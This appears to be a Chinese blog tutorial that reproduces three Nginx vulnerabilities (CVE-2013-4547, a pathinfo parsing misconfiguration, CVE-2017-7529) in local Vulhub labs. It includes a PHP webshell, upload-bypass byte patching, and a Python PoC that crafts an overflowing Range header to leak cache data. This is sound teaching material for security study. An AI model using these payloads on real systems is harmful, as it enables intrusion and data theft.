Nginx常见的中间件漏洞

目录

1、Nginx文件名逻辑漏洞

2、Nginx解析漏洞

3、Nginx越权读取缓存漏洞


这里需要的漏洞环境可以看:Nginx 配置错误导致的漏洞-CSDN博客

1、Nginx文件名逻辑漏洞

该漏洞利用条件有两个:

  1. Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

  2. php-fpm.conf中的security.limit_extensions为空,也就是说任意后缀名都可以解析为PHP、

首先我们移动对对应的漏洞文件目录下:

cd  /root/vulhub-master/nginx/CVE-2013-4547

拉取环境:

docker-compose up -d

然后可以访问一下

 

可以看到这里是让我们上传一个文件的操作 

然后我们分析一下这个文件名解析漏洞:

这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。

举个例子,比如,Nginx匹配到.php结尾的请求,就发送给fastcgi(是一种协议规范)进行解析,常见的写法如下:

location ~ \.php$ {
    include        fastcgi_params;

    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
}

正常情况下(关闭pathinfo的情况下),只有.php后缀的文件才会被发送给fastcgi解析。

而存在CVE-2013-4547的情况下,我们请求1.gif[0x20][0x00].php,这个URI可以匹配上正则\.php$,可以进入这个Location块;但进入后,Nginx却错误地认为请求的文件是1.gif[0x20](这里就是因为\0截断问题),就设置其为SCRIPT_FILENAME的值发送给fastcgi。

若我们访问的文件名为shell.gif0x20.php,该文件名以.php结尾可以被FastCGI接收,FastCGI在读取文件名时被00截断,导致读取的文件名为1.gif[0x20],配合limit_extensions为空即可利用成功。

(1)现在我们可以新建一个txt文本文件

(2)将一句话木马写入

<?php system($_GET['var']); ?>

 

(3)修改后缀为.jpg

(4)打开BP进行抓包

(5)上传刚才的一句话木马图片

然后可以看到成功的抓到了这个上传文件的数据包

(6)修改包

首先我们在这里插入了两个aa,用于后面替换\0截断字符

然后点击Hex中来进行修改

这里相当于已经插入了\0截断字符

(7)最后点击go进行访问

(8)最后访问这个文件

访问时再次使用BP抓到数据包

使用同样的访问进行将 61 61修改为 20 00

这里因为火绒浏览器一说报错说图片显示有问题,并且其他浏览器没有代理的原因,最后的访问没有成功!一直报错400,暂时没有成功,不过这里是可以正常解析php的

总结一下这一共利用了两个点:

  1. 利用\0会截断文件名的漏洞,上传将.php文件当做.jpg文件上传
  2. 利用将security.limit_extensions = 设置为空来可以以php的方式来解析.jpg文件

2、Nginx解析漏洞

首先进入到对应的目录:

/root/vulhub-master/nginx/nginx_parsing_vulnerability

拉取漏洞环境:

docker-compose up -d

注:如果这里拉取环境报错说443端口被占用,可以使用systemctrl来关闭nginx服务解决问题 

现在分析一下这个解析漏洞

该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。  

利用条件

#这两个条件同时满足
# php.ini
cgi.fix_pathinfo=1
# php-fpm.conf
security.limit_extensions = .php .jpg

我们现在的环境满足这两个条件,那么现在可以尝试测试一下: 

首先先准备一个test.jpg内容为:

<?php phpinfo(); ?>

当访问http://127.0.0.1/test.jpg时显示图片解析错误,当访问http://127.0.0.1/test.jpg/test.php时结果显示Access denied,这个回显很奇怪,正常访问这个链接是不存在的,正常思维应该是404,这里就需要研究下Nginx的解析流程了:

Nginx在收到/test.jpg/test.php路径时,首先判断文件类型,发现后缀是.php,便交给php处理,但php想要解析该文件时,发现并不存在,便删除掉/test.php,去找test.jpg,此时test.jpg是存在的,便要尝试解析它,但无奈后缀是.jpg,不是php,便报错Access denied。

上面的流程中提到了一个点,就是删除/test.php,这是Nginx的“修理”机制,由参数cgi.fix_pathinfo决定,当值为1时,便进行“修理”。

例如,文件名为/aa.jpg/bb.png/cc.php,如果cc.php不存在就找/aa.jpg/bb.png,如果还不存在就找aa.jpg,如果存在将它视为php文件。 到目前为止我们并没有成功利用解析漏洞,因为php代码并没有执行。为什么呢?

因为在PHP的配置中没有定义降.jpg文件中的php代码也解析为php,这是在security.limit_extensions中定义的。由于security.limit_extensions的引入,漏洞难以利用。

利用效果:  

3、Nginx越权读取缓存漏洞

 首先进入到对应的目录:

/root/vulhub-master/nginx/CVE-2017-7529

拉取漏洞环境:

docker-compose up -d

下面就分析一下这个越权读取缓存漏洞: 

Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。

如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。

如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。

content-Range:内容的范围

range是什么?

存在于HTTP请求头中,表示请求目标资源的部分内容,例如请求一个图片的前半部分,单位是byte,原则上从0开始,但今天介绍的是可以设置为负数。 range的典型应用场景例如:断点续传、分批请求资源。

缓存是什么?

大多数的Web服务器都具有缓存的功能,解释起来比较麻烦,可以看下图:

分布式缓存介绍

当请求服务器的资源时,如果在缓存服务器中存在,则直接返回,不在访问应用服务器,可以降低应用服务器的负载。 例如网站的首页的缓存,nginx的默认缓存路径在/tmp/nginx下,例如:当请求服务器的资源时,如果在缓存服务器中存在,则直接返回,不在访问应用服务器,可以降低应用服务器的负载。

1、现在我要读取刚才讲到的缓存文件头,他的Content-Length时612,那么我读取正常缓存文件的range是设置为

Range: bytes=0-612

使用curl工具测试下,命令如下,执行后发现,返回的内容是正常的。

curl -i http://127.0.0.1:8080 -r 0-612

2、接下来要读取缓存头,读取前面600个字节,也就是

range=content_length + 偏移长度
即:
range = 612 + 600
取负值为-1212

此时知道range的start是-1212,那么end呢?nginx的源码在声明start,end时用的是64位有符号整型,所以最大可表示:

-2^63-2^63-1
也就是
-9223372036854775808 到 9223372036854775807

所以只要start+end为9223372036854775807即可,故:

end = 9223372036854775808 - 1212
取负
为-9223372036854774596

3、下面我们就尝试复现一下:

(1)在浏览器访问http://192.168.159.200:8080/

(2) python3 poc.py http://127.0.0.1:8080

poc.python:

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)

到这里常见的几种Nginx漏洞已经复现完毕,其他Nginx漏洞详见:Vulhub - Docker-Compose file for vulnerability environment

猜你喜欢

转载自blog.csdn.net/qq_68163788/article/details/134595816
今日推荐